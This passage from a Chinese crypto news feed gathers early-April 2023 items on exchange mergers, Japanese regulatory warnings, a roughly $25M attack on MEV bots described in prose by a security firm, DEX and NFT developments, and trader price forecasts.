    PANews 4月4日消息，据CoinDesk报道，加拿大加密交易所WonderFi、Coinsquare和CoinSmart公布了合并计划，将创建全球最大的加密交易平台之一。根据周一发布的公告，这三家公司共有165万名用户，托管资产超过6亿美元。消息公布后，WonderFi股价大幅上涨，收盘涨幅25%。加拿大知名投资人Kevin O'Leary是WonderFi的战略投资者。据此前消息，今年1月，WonderFi和Coinsquare正在就合并进行深入谈判。去年10月，Coinsquare成为了加拿大首个获得IIROC注册的加密交易所。  ( 1 min )
    攻击MEV机器人的恶意验证者已被Slash惩罚并踢出验证者队列
    PANews 4月3日消息，Offchain Labs开发者@terencechain发推称，链上数据显示，今日攻击MEV机器人的恶意验证者已经被Slash惩罚并踢出验证者队列。 今日早些时候，MEV机器人遭攻击损失约2500万美元。  ( 1 min )
    日本金融厅：币安在未经适当注册的情况下开展业务
    PANews 4月3日消息，据Cointelgraph报道，日本金融厅 (FSA) 表示，加密货币交易所币安（Binance Holdings Limited，代表者Changpeng Zhao）在未经适当注册的情况下在该国开展业务，违反了日本的资金结算规定。 此前报道，日本金融厅对Bybit、MEXC、Bitget和Bitforex四家加密交易所发出警告。  ( 1 min )
    DFINITY基金会正式在IC(Internet Computer)网络上发行ckBTC(Chain-Key Bitcoin)
    PANews 4月3日消息，DFINITY基金会周一宣布已在IC(Internet Computer)网络上发行ckBTC(Chain-Key Bitcoin)，ckBTC 是 ICP 上的比特币锚定币，与 BTC 1:1 对应。通过智能合约进行发行和赎回，过程是完全去中心化的。 相关阅读：ckBTC 正式上线：快人一步搞懂 IC 与比特币网络的集成秘籍！  ( 1 min )
    PA日报 | MEV机器人遭攻击损失约2500万美元；Arbitrum的AIP-1提案引发争议
    今日要闻提示： 1.外媒：日本金融厅对Bybit、MEXC等4家加密交易所发出警告 2.韩国检方已搜查并扣押Terra高管和员工的总计超2亿美元房产 3.B站推出高能链App，用以管理用户数字资产 4.MEV机器人遭攻击损失约2500万美元，系bundle交易过程中资金被替换 5.Re7 Capital和Republic Crypto合作推出1亿美元的加密基金RxR Opportunities Fund 6.数据：Uniswap的现货市场交易量突破700亿美元，超Coinbase 7.报告：DeFi一季度总锁仓量达833亿美元，环比增长37.44% 8.数据：3月加密市场融资总额达7.69亿美元，环比下降近19% 监管消息 外媒：日本金融厅对Bybit、MEXC等4家加密交易所发出警告 据CoinPost报道，3月31日，日本金融厅根据事务准则，就未在日本注册的情况下提供加密货币交易一事对4家海外加密交易所发出警告，这4家交易所分别是Bybit、MEXC、Bitget和Bitforex。Bitforex总部位于塞舌尔共和国，Bybit、MEXC Global和Bitget总部位于新加坡。 NFT ParaSpace推出激励计划，积分未来可兑换为该项目代币 据官方推特，NFT借贷协议ParaSpace宣布推出激励计划，该计划中用户的行为和活动将获得积分奖励，积分将在 ParaSpace发布代币时通过空投兑换为ParaSpace代币。在第二季度末（2023年6月30日）之前，ParaSpace会将用户赚取的奖励积分提高至 300%。 据官方文档信息显示，赚取积分的有效行为包括借贷、参与APE质押以及赊购。ParaSpace计划在完成核心产品和功能开发后加快启动治理令牌的过程。 项目动态 Arbitrum管理员：26.94亿枚ARB的部分转账系使用CoinBase托管账户，以启用托管解锁服务 针对此前Offchain Labs团队与Future团队及顾问的26.94亿枚ARB转入140个EOA地址，Arbitrum DAO社区管理员eli表示部分代币系转移至CoinBase的托管账户，锁仓期为4年，旨在采用CoinBase的托管解锁服务。 此前今日早些时候消息，Lookonchain表示，此前分配的约27亿枚ARB本应有4年锁仓期，部分ARB已被转至交易所。此前，Arbitrum官方澄清称，没有出售5000万枚ARB代币，已用于发放贷款及支付运营费用。Arbitrum还承诺本周重新修改拆分AIP-1提案，AIP-1当前反对票占优。 韩国检方已搜查并扣押Terra高管和员工的总计超2亿美元房产 据KBS报道，韩国首尔南部地方检察厅金融证券犯罪联合调查组为收回Terraform Labs联合创始人Daniel Shin等8人的不正当利益，搜索并保全了约2700亿韩元（约合2.05亿美元）的财产，这些资产分别为价值1541亿韩元、791亿韩元以及409亿韩元的三个房产。征收保全是防止犯罪嫌疑人在审判期间对涉嫌犯罪所得的财物任意处分的措施。 此外，检方还冻结了被列为此案嫌疑人的早期投资者和员工的房产、车辆和股票资产。 MEV机器人遭攻击损失达2000万美元，系bundle交易过程中资金被替换 推特用户@GaoFlynn发文称：“有几个MEV套利大户遭受重创，整个机制链路上有一环出现作恶者，从builder到relayer到validator都有可能，这可能是撼动整个MEV生态的第一个重大转折点。简单解释为黑客拿到了三明治套利的大户bot的bundle交易，bundle里有3个交易为1.大量买入，2.被夹用户的交易，3.大量卖出。黑客拿到了这个bundle，拆解了bundle，把2替换了成自己的交易，用便宜代币换走了bot的资金，之后第3步交易失败。” 此外，根据@punk3155的推文，部分MEV机器人遭遇了上述攻击，总损失已达2000万美元。 B站推出高能链App，用以管理用户数字资产 据IT之家报道，B站于近期上线了一款名为“高能链”的App。官方表示，高能链App是一款基于高能链实现的链工具产品，具有链地址管理、链上资产查看/搜索等功能，用户可一站式管理自己拥有的链上资产，同时也是通往高能链生态的入口。 经下载体验，这款App支持查看bilibili数字藏品、链上地址搜寻并查看地址链资产信息。此外，B站官方表示这款产品目前可使用的场景为哔哩哔哩、DoDo以及高能链。 此前2021年12月消息，B站测试“高能链”，启动“元宇宙”业务。 数字资产平台Bakkt完成对加密交易基础设施公司Apex Crypto的收购 据Fortune报道，数字资产平台 Bakkt Holdings (BKKT) 周一宣布，它已获得监管部门批准收购加密交易基础设施提供商 Apex Crypto， Bakkt 共支付 5500 万美元现金和 1 亿美元股票。 PancakeSwap在BNB Chain和以太坊上发布其V3版本 据CoinDesk报道，去中心化交易所(DEX) PancakeSwap在以太坊和 BNB 链上推出了其 V3 版本。升级后的平台将提供最便宜的费用，并增加流动性提供者 (LP) 的回报。V3 将引入四种不同的交易费等级：0.01%、0.05%、0.25% 和 1%。PancakeSwap V3 还引入了提高平台资本效率的功能。未来，PancakeSwap V3 将推出两项新功能：V3“VIP”交易奖励计划和头寸管理功能。这两项功能目前都在开发中，预计很快就会推出。 Re7 Capital和Republic Crypto合作推出1亿美元的加密基金RxR Opportunities Fund，重点关注中、小市值加密代币 据The Block报道，Re7 Capital 和 Republic Crypto 合作推出 1 亿美元的 RxR 机会基金（Opportunities Fund），用于投资流动性代币，该基金重点关注中、小市值的加密货币。该基金有一年的流动性锁定期，然后每季度解锁一次。并专注于建立一个希望持有一到三年的头寸。 融资消息 加密支付服务商Alchemy Pay从DWF Labs获得1000万美元投资 据CoinDesk报道，加密支付服务商Alchemy Pay以 4亿美元的估值获得了做市商DWF Labs的1000万美元投资，以扩大其在韩国的业务。 该公司为加密货币公司提供了一种访问法定支付系统的方式，新资金旨在并帮助韩国当地公司实现更大的国际化。为此，它之前曾与Visa、Mastercard、Google Pay和Apple Pay等公司合作。 重要数据 数据：Uniswap的现货市场交易量突破700亿美元，超Coinbase 据The Block Research数据，3 月份 Uniswap 的现货市场交易量达到 716 亿美元——比 Coinbase 高出 45%。Coinbase 上个月（3月）的交易量为 494 亿美元，高于 2 月份的 400 亿美元。Coinbase 的交易量连续第二个月低于去中心化交易所 Uniswap。 数据：3月份NFT销售额约为8.82亿美元，环比下降约31% 据CryptoSlam数据，3月份NFT销售额环比下降31.42%，从2月份的10.3亿美元销售额下降至8.8289亿美元。在这些销售额中，有5.3789亿美元是在以太坊区块链上结算的，该区块链占据了3月份销售额的60%以上。基于Solana的NFT销售额占3月份销售额的10.57%，录得9336万美元，其次是Polygon（3616万美元）、Immutable X（2882万美元）和Cardano（1008万美元）。 3月份最畅销的NFT系列是Bored Ape Yacht Club (BAYC)，其销售额为3581万美元，尽管这一数字比上个月下降了48.19%。Cryptopunks是销售额第二大的NFT系列，销售额为3011万美元，比2月份增长了87.95%。 报告：DeFi一季度总锁仓量达833亿美元，环比增长37.44% 根据DappRadar报告，2023年第一季DeFi总锁仓量达到833亿美元，较上一季度增长37.44%，Arbitrum、Fantom和Optimism等二层解决方案贡献较大。其中，Arbitrum锁仓量达到32亿美元，增长118.40%；Optimism锁仓量触及10亿美元，较上一季度上涨85%。 在区块链方面，一季度以太坊链上DeFi锁仓量为558亿美元排名第一，占比66.95%，BNB Chain其次，同期链上DeFi锁仓量为72亿美元；波场位列第三，链上DeFi锁仓量为52亿美元。 数据：3月加密市场融资总额达7.69亿美元，环比下降近19% 据加密数据平台RootData统计，2023年3月加密市场共计披露84次投融资事件，较2月份的122次下降31.14%，3月融资总金额约7.69亿美元，较2月份的9.46亿下降18.71%；其中，基础设施、DeFi、游戏是融资金额排名前三的赛道，分别为3.63亿美元、1.17亿美元、 1.01亿美元。 此外，融资金额排名前三的项目分别是加密货币硬件钱包Ledger（1.08亿美元）、以太坊再质押协议EigenLayer （5000万美元）、基于人工智能和机器学习的区块链平台Fetch.ai（4000万美元）、独立游戏开发商CCP Games（4000万美元）、去中心化的互联网替代方案 tomi（4000万美元）。  ( 2 min )
    数据：Uniswap的现货市场交易量突破700亿美元，超Coinbase
    PANews 4月3日消息，据The Block Research数据，3 月份 Uniswap 的现货市场交易量达到 716 亿美元——比 Coinbase 高出 45%。Coinbase 上个月（3月）的交易量为 494 亿美元，高于 2 月份的 400 亿美元。Coinbase 的交易量连续第二个月低于去中心化交易所 Uniswap。  ( 1 min )
    数字资产平台Bakkt完成对加密交易基础设施公司Apex Crypto的收购
    PANews 4月3日消息，据Fortune报道，数字资产平台 Bakkt Holdings (BKKT) 周一宣布，它已获得监管部门批准收购加密交易基础设施提供商 Apex Crypto， Bakkt 共支付 5500 万美元现金和 1 亿美元股票。 去年11月报道，数字资产平台Bakkt将收购加密交易基础设施公司Apex Crypto。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.03）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    PancakeSwap在BNB Chain和以太坊上发布其V3版本
    PANews 4月3日消息，据CoinDesk报道，去中心化交易所(DEX) PancakeSwap在以太坊和 BNB 链上推出了其 V3 版本。升级后的平台将提供最便宜的费用，并增加流动性提供者 (LP) 的回报。V3 将引入四种不同的交易费等级：0.01%、0.05%、0.25% 和 1%。PancakeSwap V3 还引入了提高平台资本效率的功能。未来，PancakeSwap V3 将推出两项新功能：V3“VIP”交易奖励计划和头寸管理功能。这两项功能目前都在开发中，预计很快就会推出。  ( 1 min )
    比特币接下去怎么走？看看6个技术分析师的观点
    原文：《市场观点：减半叙事再起，分析师一致看好比特币后市》 各类知名交易员或者加密研究机构关于当前二级市场的观点，仅作为信息分享，不构成任何投资建议。 *本文为深潮 TechFlow 精选各类知名交易员或者加密研究机构关于当前二级市场的观点，仅作为信息分享，不构成任何投资建议。 拥有超过 28 万粉丝的加密货币分析师 Loma 表示，他相信比特币最终会突破 28,800 美元左右的阻力位。 然而，要注意的是，突破可能需要时间，而 BTC 可能会考验比特币多头的耐心。 “理想情况下，如果这种盘整继续向上，我们将不再有机会在 26,500 美元至 25,500 美元左右的水平进行现货买入。 最有可能的情况是在走高之前夹在每日高点/每日低点之间。 • 如果没有建仓，通过区间交易建仓。 • 如果您已经加入，这应该是对耐心的考验，而不是其他任何事情。” Loma 的图表显示，他似乎预测比特币将在 4 月结束前突破，导致 BTC 强劲反弹至他的目标 38,000 美元，撰写本文时，BTC 的交易价格为 28,487 美元。 至于莱特币，他认为 LTC 正准备反弹至 100 美元的关键心理阻力位。根据 Loma 的说法，莱特币在 100 美元的价格水平上的反应将决定 LTC 是否会反弹至他的目标 140 美元。 “很想知道在 100 美元附近的心理 + 技术阻力位的反应。在我看来，任何高于此的力量都会迅速跌至 130-140 美元。Binance-CFTC [商品期货交易委员会] 低点是定义风险的良好标准。”撰写本文时，LTC 价值 87.54 美元。 一个著名的加密货币分析平台表示，在涉及加密货币之王的大量鲸鱼交易蜂拥而至之际，一项指标可能是比特币（BTC）下一次大涨的信号。 原文链接 加密货币数据公司 Santiment 称，交易者应该密切关注 Tether（USDT）、USD Coin（USD Coin）、Binance USD（BUSD）、Pax Dollar（USPD）和 Dai（DAI）等稳定币的市值。 Santiment 表示，前五大稳定币的购买力总和为 1263.1 亿美元，是 2021 年 3 月价值的两倍多，比特币的持续上升可能取决于按市值计算的前五大稳定币的增长。 "随着一个伟大的第一季度结束，复苏的加密货币市场，USDT、USDC、BUSD、DAI 和 USDP 的购买力之和为 1263 亿美元。本周的跌幅已经渐渐缩小。上涨将预示着比特币上涨的概率大大增加"。 但是，Santiment 也对比特币持有者发出了一些警示，该分析公司表示，2023 年最大的五笔比特币交易都发生在 3 月份，这表明大型 BTC 持有者可能开始获利。 "根据 3 月份发生的非常大的交易，以及 10-10,000 BTC 地址层继续下滑（按百分比）和逐渐减少（按地址总数），如果你希望看到比特币激增到 35,000 美元甚至更多，看起来确实有一些警告标志需要警惕...... 原文链接 有着 15 万粉丝的著名经济学家和加密分析师 Alex Krüger 表示，比特币 ( BTC ) 作为一种资产现在在投资者的投资组合中扮演着与过去不同的角色，BTC 不会像十年前那样让任何人变得富有，但现在它正在成为一种保存财富和储存价值的有效方式。 “人们不应该再通过购买比特币来致富。那艘船已经航行了。比特币现在用于财富保值、有吸引力的风险调整回报、交易和对冲法定系统。” 然而，该交易员还表示，比特币从低点上涨 10 倍的可能性仍然存在，这意味着在下一个牛市高峰期的顶部，价格在 150,000 美元附近。 Krüger 最近列出了 BTC 当前市场结构出现看涨逆转的八个原因： -长达数月的盘整 -势头指标转向 -底部有最大的历史成交量 -在非常高的成交量下出现更高的低点 -在更高的成交量上出现吞噬性蜡烛 -从200 DMA上反弹 -区间顶部与200WMA相吻合 -上方的空袋成交量。 在撰写本文时，比特币的交易价格为 28,307 美元。 有着 10 万粉丝的知名交易员 Justin Bennet 表示，以太坊 ( ETH ) 可能正在准备反弹，以清算那些看跌的交易员。 他表示，标准普尔 500 指数 (SPX) 周五的反弹可能暗示加密市场的短期表现。加密货币往往会追随股市的脚步，但两种资产类别之间似乎存在滞后。Bennett 补充说，如果加密货币从股票中获得线索，他认为以太坊会在 1,840 美元处遇到阻力。 Bennett 表示，以太坊的突破可能引发空头轧平，在 ETH 的 2,000 美元价格水平上方存在“大量”空头清算。当大量做空资产的交易者决定减少损失以应对意外的价格上涨时，就会发生轧空，挤压然后触发额外的反弹。 “这可能很能说明问题，因为加密货币喜欢瞄准这些领域，而 2,030 美元是 2022 年 8 月的高点。更多的多头清算低于当前水平，但距离很重要，因此高达 2,000 美元的空头清算可能会在短期内影响 ETH。” 然而，Bennett 表示，加密货币和以太坊的时间正在流逝。根据交易员的说法，以太坊空头挤压肯定会在未来几天发生。否则，他说反弹可能根本不会实现。 “但我希望看到加密货币尽早‘赶上’股市，如果这要实现的话。如果我们在接下来的几天内没有看到 ETH 平仓这些空头，那么这种情况就不太可能发生。” 在撰写本文时，以太坊的交易价格为 1,818 美元。 原文链接 有着 19 万粉丝的知名交易员 Altcoin Sherpa 表示，比特币可能会回调，25,000 美元的水平可能无法保持，但是当 BTC 跌破 24,000 美元时，比特币多头最好等待逢低买入。在撰写本文时，比特币本周横盘交易价格为 28,571 美元。 此外，Altcoin Sherpa 重点关注两个山寨币，AVAX 和 FTM。 Altcoin Sherpa 表示 AVAX 可能准备好突破 22 美元的阻力并进入一个新的交易区间，最高价为 30 美元。 "AVAX：这个的压制看起来很强，我认为它很快就会有另一个上升空间。200 天 EMA 最初作为阻力（正常情况下），但我认为这很快就会有力地突破 22 美元。" 在撰写本文时，AVAX 价值 17.22 美元。 Altcoin Sherpa 还关注 Fantom ( FTM )，该币目前自年初以来上涨了 135%。 分析师称，FTM 可能正在为新一轮反弹做准备。 “FTM：整体看起来还是很不错的。我认为它正在形成某种低点，并将再次上涨。” 图表显示，FTM 的下一个阻力位似乎在 0.60 美元，在撰写本文时，FTM 的交易价格为 0.43 美元。 原文链接 有着 34 万粉丝的知名交易员 Rekt 标识，BTC 正在进入 4 月份的关键宏观下跌阻力上方，这条趋势线自 2022 年 11 月创下历史新高以来，一直让比特币保持看跌。 "明天，BTC 的月度蜡烛将收在宏观下降趋势之上，以确认新的牛市，BTC 正处于创造历史的关键时刻。" Rekt 还表示，BTC 的爆发时间正好在比特币减半之前的 396 天，而比特币减半定于明年 4 月进行。他补充说，在 2019 年，比特币也正好在 2020 年减半之前爆发了 396 天。 "BTC 往往会在即将到来的减半前一年左右打破其宏观下行趋势，这一次也不例外" 他表示，另一个有利于比特币的因素是，一个季度的看涨吞噬蜡烛刚刚为 BTC 收盘。看涨吞没蜡烛是指绿色蜡烛在开盘价和收盘价上都与之前的红色蜡烛完全重叠。 "BTC 正处于确认其自 2020 年初以来的第一个季度看涨吞噬蜡烛的边缘。从历史上看，每季度的看涨吞没蜡烛都是在多个季度的上涨之前。" 在撰写本文时，比特币的交易价格为 28,409 美元。 原文链接  ( 3 min )
    Re7 Capital和Republic Crypto合作推出1亿美元的加密基金RxR Opportunities Fund，重点关注中、小市值加密代币
    PANews 4月3日消息，据The Block报道，Re7 Capital 和 Republic Crypto 合作推出 1 亿美元的 RxR 机会基金（Opportunities Fund），用于投资流动性代币，该基金重点关注中、小市值的加密货币。该基金有一年的流动性锁定期，然后每季度解锁一次。并专注于建立一个希望持有一到三年的头寸。  ( 1 min )
    Nakamigos走红背后：翻版加密朋克，与mfers创始人关系匪浅
    在公开铸造不久后，NFT项目Nakamigos近期交易量超过了Bored Ape Yacht Club、Azuki、CLONE X、Moonbirds等蓝筹项目，甚至一度冲上榜首。同为PFP NFT（头像类）项目，Nakamigos凭何能在竞争激烈的垂直市场中脱颖而出？ Nakamigos的名称源自比特币创始人Satoshi Nakamoto，Migos在西班牙语中是朋友的意思，Nakamigos意为“中本聪的朋友们”。而Nakamigos诞生时间也是比特币白皮书发布14周年，即2022年10月31日。 根据官方介绍，Nakamigos是由24×24像素组成的总量为2万个的PFP项目，主要分为人类（6种类型）和非人类类型，后者包括青蛙、鳄鱼、机器人、幽灵和鳄鱼等稀有种类。其中，1.7万个被用于铸造，团队预留了500个。知名加密艺术家Beeple也于4月3日发布Nakamigos相关作品支持。 来源：Beeple Nakamigos的风格与NFT蓝筹项目CryptoPunks类似，且Nakamigos持有者也被授予了商业权利，与Yuga Labs在2022年收购CryptoPunks后提供的商业许可一样。 今年NFT行业年度盛会NFT.NYC期间，Nakamigos面向End of Sartoshi持有者免费铸造和公开铸造，其中公开铸造采取荷兰式拍卖，价格从1 ETH至0.01 ETH，最终价格为0.01 ETH。根据NFTSCAN最新数据显示，Nakamigos目前的地板价已达0.63 ETH，持有地址数超5700个，总交易量超1.3万枚ETH。 由于创建团队HiFo Lab选择匿名，仅声称“拥有多年NFT项目经验”，该项目背后团队曾被怀疑CryptoPunks开发公司lavar labs，但随后被官方否认，“Not Larva,Not Yuga,Nakamigos”。不过，HiFo Lab却与mfers创始人sartoshi有着密切关系，Sartoshi在2022年6月退圈六个月重返NFT领域后发推文宣布，End of Sartoshi持有者可免费获得Nakamigos的铸造权，但官方尚未透露Sartoshi在该项目中的确切角色。另外，Nakamigos的合约和铸币的开发团队WestCoastNFT还曾参与过Doodles、mfers等知名NFT项目的开发。值得一提的是，HiFo Lab还透露，Nakamigos的艺术家拥有多年艺术经验的加密OG艺术家，虽然他们是匿名的，但可能会选择在某个时候透露他们的身份。 此外，HiFo Lab为向24位知名加密艺术家致敬，还推出了新系列Honorary Nakamigos NFT并进行了赠送，包括Layer2项目Manifold联合创始人Richerd Chan、NFT项目Art Blocks首席执行官Erick Calderon、美国饶舌巨星Snoop Dogg（Cozomo de' Medici）、NFT收藏家GMoney、加密艺术家XCOPY、美国知名DJ Steve Aoki和NFT收藏家Farokh.eth等。 总的来看，Nakamigos与比特币之间的联系，整体画风非常符合老OG项目CryptoPunks持有者的审美，且团队与Mfers的关系匪浅使其更具想象空间。  ( 1 min )
    视频｜上海升级临近，需要注意些什么？
    时隔半年，以太坊即将迎来又一次重要升级。上海升级临近，ETH潜在抛压多大？LSD赛道影响几何？还有哪些需要注意的？ PANews邀请嘉宾一起解读！ 以下为本期视频的时间线目录，需要的朋友可以直接跳转： 00:00 – 03:25 嘉宾自我介绍 03:25 – 06:20 上海升级除了以太坊质押提款提案外，还有哪些升级提案？ 06:20 – 22:03升级后用户提款流程为何？抛压如何？ 22:03 – 41:44  上海升级对整个质押赛道会有什么影响？ 41:44 – 60:00 作为普通散户该如何把握这其中的风险与机遇？ 60:00 – 70:34 对整个以太坊生态或DEFI生态带什么样的影响？ 70:34 – 87:12 问答环节  ( 1 min )
    以民为本，产品为王，龙头DEX Orca能否带Solana重回加密舞台？
    撰文：0xShinChan Solana自FTX事件后热度明显减退，但是Solana的dApp不少在产品设计和用户体验都达到了 「以民为本」的境界。 今天新酱为大家介绍这个历尽风雨的龙头DEX Orca如何在 Solana链上担当Uni V3般的王者地位称霸，全赖「前无古人、后无来者」的极致产品设计。 让我们开始吧！ 本文将涵盖： Orca打着「针对人而非程序而设计的去中心化交易所」为旗号，在 Solana DEX 的总锁仓排名居于首位。 笔者觉得Orca易于使用、以民为本的产品设计和用户体验实在是公垂竹帛。 在我们开始说明产品体验以前，需要先了解 Orca 做的是什么？集中流动性又是什么呢？ Orca是Solana上最大的去中心化交易所(Decentralized Exchange，简称DEX)。 里面有3个主要角色： Orca通过集中LP的流动性，建立交易渠道，让用户通过提供资产，获得手续费收入作为收益。 那么我们要怎么才可以成为LP呢？ 这边我们需要认识 Orca 的集中流动性。 当一名交易者在常规的流动池中（这里我们可以理解为Uniswap V2）进行交易时，他们可能会遇到高滑点的交易成本。 这是因为流动性提供者只提供了相对较少的流动性，以满足各种价格的交易。 例如，如果一个交易员想在ETH/USDT交易对中购买1,000美元的ETH，他们可能会发现自己需要花费更多的美元才能购买到他们需要的ETH数量。 因为流动池中可用的ETH量很少，导致价格上涨。 然而，在Orca 的 Whirlpool 中，流动性提供者(LP)可以选择将他们的流动性集中在特定的价格区间内，从而提供更深层次的流动性。 例如，如果一个LP选择在ETH/USDT交易对中集中他们的流动性在2,000至2,100 USDT的价格区间内，当交易者进行该价格区间内的交易，他们将获得更好的交易价格，并且流动性提供者将获得更高的费用和奖励。 因此，通过在特定价格范围内提供更深层次的流动性，Orca 流动池 （称为 Whirlpool ）上的 LP 可以达到以下目标： 代币交互和提供流动性 要是想在Orca上进行交互并且提供流动性，实际怎么操作呢？ 首先，Orca的dApp设计其实非常丝滑、用户友善的。 怎么说？页面字体色彩对比鲜明，字体够大，按钮也很清晰。 其实新手小白要使用dApp，这种风格是最容易上手的，而且交互页面还设置搜寻引擎，输入币种就可以看到交互路径。 集中流动性虽是有好处，但是整个价格的交易区间、计算体系的效率化、如何在固定的范围赚到最多的手续费，这些都是非常讲究和复杂的。 我们来看看 Trader Joe 的LP页面。 价格范围、流动性形态、费用等级这几个维度的设置都不是一个新手能够轻易掌控的概念。 对比之下，Orca 的设置相对是比较轻松的。当然专业的流动性提供者也可以进行自己的LP操作设置。 简单 4 个步骤： (i) 从选择系统建议的流动性范围 (ii) 输入单种流动性代币，让系统建议LP组合的数量 (iii) 确认存款操作 (iv) 生成 NFT 这一系列的操作都是很轻松、无脑的进行 教学影片和文章 希望了解详细的存款教学可以参考Orca官方影片 这边再补充一下：我们在Whirlpool 提供流动性，会获得一个NFT，以表示用户在流动池的仓位。 二级市场可以交易 NFT，但是出售NF也代表了出售流动性，赚了 NFT 交易的钱，就无法取回LP代币咯。 Messari曾经就Orca的集中流动性设计和平台操作撰写了详尽报告。这次帖文重点关注dApp的设计和流动性挖矿策略 关于Orca的LP费用水平、代币经济、治理等资讯欢迎阅读一下报告。 时至今天，Orca 总锁仓价值(TVL)占了整个Solana链约17％，是排名首位的 DEX。 项目从2021年的公平发售到现在累计超过 150 万钱包交易的记录。 个人认为很大部分除了市场推广还有商务合作的成就以外，团队在产品设计、优化的努力是功不可没的。 最近 Orca 的联合创办人@oritheorca 发布了推文，暗示 Orca 的用户版面将会再度进行更新，为交易者和流动性提供者带来更多的交易功能和工具。 本人还是会继续关注 Orca 的页面设计和更新。 另外基于集中流动性的收益策略类型其实可以很多元化。 但是基于 Solana 目前的发展潜力受限，目前没有见到很多基于 Orca 集中流动性的自动复合、期权交易、中性头寸等协议。 不知道 Solana 会不会有重回光辉岁月的一天，见证更多在 Orca 上开发的收益用例。  ( 2 min )
    Beosin：攻击者引诱MEV机器人进行抢跑套利，攻击者可能具有验证节点权限
    PANews 4月3日消息，据Beosin-Eagle Eye态势感知平台，MEV机器人遭受恶意三明治攻击，损失金额约2500万美元，Beosin安全团队第一时间对事件进行了简析，结果如下： 1. 其中一次攻击为例，攻击者首先将目标瞄准到流动性很低的池子，并试探MEV机器人是否会抢跑交易。例如下图中，我们可以看到攻击者通过0.04 WETH试探MEV机器人，勾引MEV机器人进行抢跑套利。发现池子确实有MEV机器人进行监控，并且MEV机器人会使用其所有的资金进行套利。另一方面，MEV机器人使用攻击者节点出块，此前攻击者也一直在尝试MEV是否使用他的验证进行出块，所以这里也提前验证了MEV机器人是否会执行，并且作为验证者可以查看bundle。 2. 攻击者试探成功之后使用预先在Uniswap V3中兑换出来的大量代币在低流动性的V2池内进行兑换操作，勾引MEV使用全部的WETH进行抢跑购买不值钱的代币。然而被抢跑的交易其实才是瞄准了MEV的攻击交易，使用了大量的代币换出MEV刚刚进行抢跑的所有WETH。 3. 这时由于MEV进行抢跑的WETH已经被攻击交易兑换出来，所以MEV机器人想要重新换回WETH的操作会执行失败。 4. 攻击能够成功的主要条件可能一是因为MEV每次在低流动性池中套利仍然会使用自身所有的资金，二是因为在uniswap V3中可以用少量资金获得同样的代币，而其价值在V2池中已经被操纵失衡。三是因为攻击者可能具有验证节点权限，可以修改bundle。 此前消息，Beosin KYT反洗钱分析平台发现目前资金位于地址0x3c98d617db017f51c6a73a13e80e1fe14cd1d8eb($19,923,735.49), 0x5B04db6Dd290F680Ae15D1107FCC06A4763905b6($2,334,519.51)， 0x27bf8f099Ad1eBb2307DF1A7973026565f9C8f69($2,971,393.59)。  ( 1 min )
    加密“观光客”离场，比特币流动性枯竭
    来源：新浪财经 尽管比特币价格在今年以来出现了引人注目的飙升(涨幅超60%)，但无论以何种标准衡量，比特币的流动性都仍然很低。 加密市场数据提供商Kaiko Research的分析师Conor Ryder表示，投资者在交易中支付的价格一直在上涨，原因是交易的预期价格与实际执行价格之间存在差异，这是流动性恶化的一个迹象。交易难度越高，投资者面临的潜在价格波动风险就越大。这可能是由于在交易下达和完成之间的买卖价差发生变化、或者是因为订单簿的深度不足以支持大订单。 尽管比特币今年以来的反弹使其成为第一季度表现最好的资产，但美国监管部门加大打击力度、以及几家与加密货币相关的银行倒闭挫伤了一些投资者的热情。Conor Ryder表示：“这更说明机构不愿在该领域提供流动性。许多加密货币公司不想卷人美国监管机构与加密货币交易所之间的斗争。” 实际上，在过去一年的暴跌中，加密市场的交易量和流动性已经枯竭。比特币在去年下跌了约38%，至2.8万美元左右，其他一些加密货币跌幅更大。包括加密货币交易所FTX崩盘等丑闻吓跑了投资者。分析师们现在特别关注规模较小的散户投资者可能会如何表现，因为他们一直是金融体系的组成部分，并在疫情早期的繁荣时期帮助推高了资产价格。 数字资产管理公司3iQ的研究主管Mark Connors表示：“‘观光客’肯定走了。如果你在这个行业，你必须明白波动性是存在的。你不知道它每天会去哪里，但你知道它的轨迹、采用情况等。” 一些最受欢迎的加密货币交易所的现货交易量也能够说明这个问题。截至3月底，最大的加密货币交易所币安的24小时正常交易量超过60亿美元，月访问量约6500万次。相比之下，根据CoinGecko的数据和该公司编制的数据，第二大加密货币交易所Coinbase(COIN.US)的24小时正常交易量约为13亿美元，月访问量约为3300万次。 City Index高级金融市场分析师Fiona Cincotta表示，比特币交易量大幅下跌将“不可避免地导致市场更加动荡”。她表示，交易量的大幅下降意味着大额订单更容易影响比特币价格，未来可能还会出现更多剧烈波动。她补充称：“交易量下降表明，随着围绕银行业的担忧缓解、以及对加密市场的监管，人们对比特币最近较高水平的兴趣正在减弱。” 此外，美国商品期货交易委员会(CFTC)近日宣布起诉加密货币交易所币安及其创始人赵长鹏涉嫌违反衍生品监管规定。FRNT Financial的数据和分析主管Strahinja Savic称：“这起案件将如何影响币安的运营还有待观察。在这种情况下，加密货币领域的流动性现状尚未受到诉讼的影响。”  ( 1 min )
    Blur与OpenSea的悬崖赛车：一场围绕NFT流动性的“生死追逐战”
    原文：《Arkstream Capital:Blur与OpenSea的悬崖赛车》 作者：墨客 2022年下半年是NFT的冬天。随着Otherdeed for Otherside的发行抽走了市场最后一丝流动性，NFT市场宣告投机潮的破灭。 Blur作为一个优秀的NFT Marketplace，它发币的预期给市场带来了一些增量。而当Blur发行代币$BLUR之后，巨大的空投收益，给市场来了更多的增量。 从NFT Marketplace的交易数据上看，我们可以清晰的得到几个结论。 1、 艺术类的NFT Marketplace已经全面落后于综合型NFT Marketplace（其实就是PFP）。 2、 Blur在2-15空投之前交易量就已经超过OpenSea。 3、 NFT市场在经历了2022年的炒作高潮与幻灭之后，在2023年的1季度已经回归良性市场。 Arkstream一直保持着对NFTfi的关注，我们相信NFT作为所有权的凭证功能，有它长期的存在价值，这种价值并不会因为NFT整个市场的低迷而蒙尘。 在正式开始我们的文章之前，我们想先进行一些闲碎的NFT价值讨论。 顾名思义，NFT全称为Non-Fungible Token，指非同质化通证。与FT(Fungible Token)简单的一致性相比，NFT包含了一致性与非一致性两种属性。 NFT以目前市场的交易活跃程度，主要有NFT艺术品与NFT PFP两大类。随着人类与互联网的越来越深度纠缠，PFP更适合作为在线身份的化身。这就能解释为什么PFP在NFT领域比NFT艺术品更重要。 NFT艺术品，只有非一致性。而NFT PFP通常为系列构成，包含了一致性与非一致性。NFT 